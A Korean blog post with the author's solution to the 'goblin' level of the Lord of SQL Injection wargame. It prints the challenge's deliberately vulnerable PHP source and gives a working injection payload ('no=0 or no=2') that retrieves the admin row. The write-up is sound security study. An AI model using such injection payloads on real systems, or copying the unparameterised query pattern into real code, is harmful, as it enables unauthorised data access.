본문 바로가기
해킹/LoS(Lord of SQL Injection)

[Los] goblin 풀이

by yenua 2022. 6. 9.
반응형

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr

고블린은 유럽의 민간 전승과 그 흐름을 잇는 소설(주로 판타지)에 등장하는 전설의 생물이다. -위키백과

아니 코볼트랑 사진이 똑같잖아..?

 

los의 고블린을 처치해보자.

 

기본 쿼리문 및 소스코드는 아래와 같다. 

 

소스코드를 살펴보자.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("goblin");
  highlight_file(__FILE__); 
?>

이제 id는 admin으로 고정해버렸고 no 만 변경할 수 있다. no는 아마 인덱스(프라이머리 키) 값이라고 생각한다.

이번에는 pregmatch에 해킹 방지를 위한 필터링 이외에, '(따옴표), "(쌍따옴표), `(백쿼터)에 대한 필터링도 추가되었다. id 값에 직접적으로 admin을 추가하여 조회할 수 있는 방법이 없어졌다...!!

 

no에 1을 추가하면 guest로 로그인 된다.

여기까지는 했는데 더이상 진도를 못 나가겠어서 다른 사람의 write-up을 참고했다.

 

no 번호로 admin에 접근할 수 있다고 한다. 1이 guest이니, 생뚱맞게 이상한 키값을 가지는게 아닌이상 admin은 0 또는 2일 가능성이 크다.

 

따라서 고블린은 아래와 같이 처치 가능하다.

no: no=0 or no 2

url: ?no=0%20or%20no=2

query : select id from prob_goblin where id='guest' and no=0 or no=2

위의 커리문은 (id= guest and no=0) or no=2로 처리된다. no=0 부분을 통해 id=guest 부분을 거짓으로 만들어 조회되지 않도록 하고, admin의 값인 no=2를 넣어 admin을 조회할 수 있게 된다.

 

참고 자료

https://www.dongyeon1201.kr/69f9c19c-247b-4be0-aa2d-7ceff0d47661

반응형

'해킹 > LoS(Lord of SQL Injection)' 카테고리의 다른 글

[Los] darkelf 풀이  (0) 2022.06.11
[Los] wolfman 풀이  (0) 2022.06.11
[Los] orc 풀이 (작성 중)  (0) 2022.06.10
[Los] cobolt 풀이  (0) 2022.06.08
[Los] gremlin 풀이  (0) 2022.06.08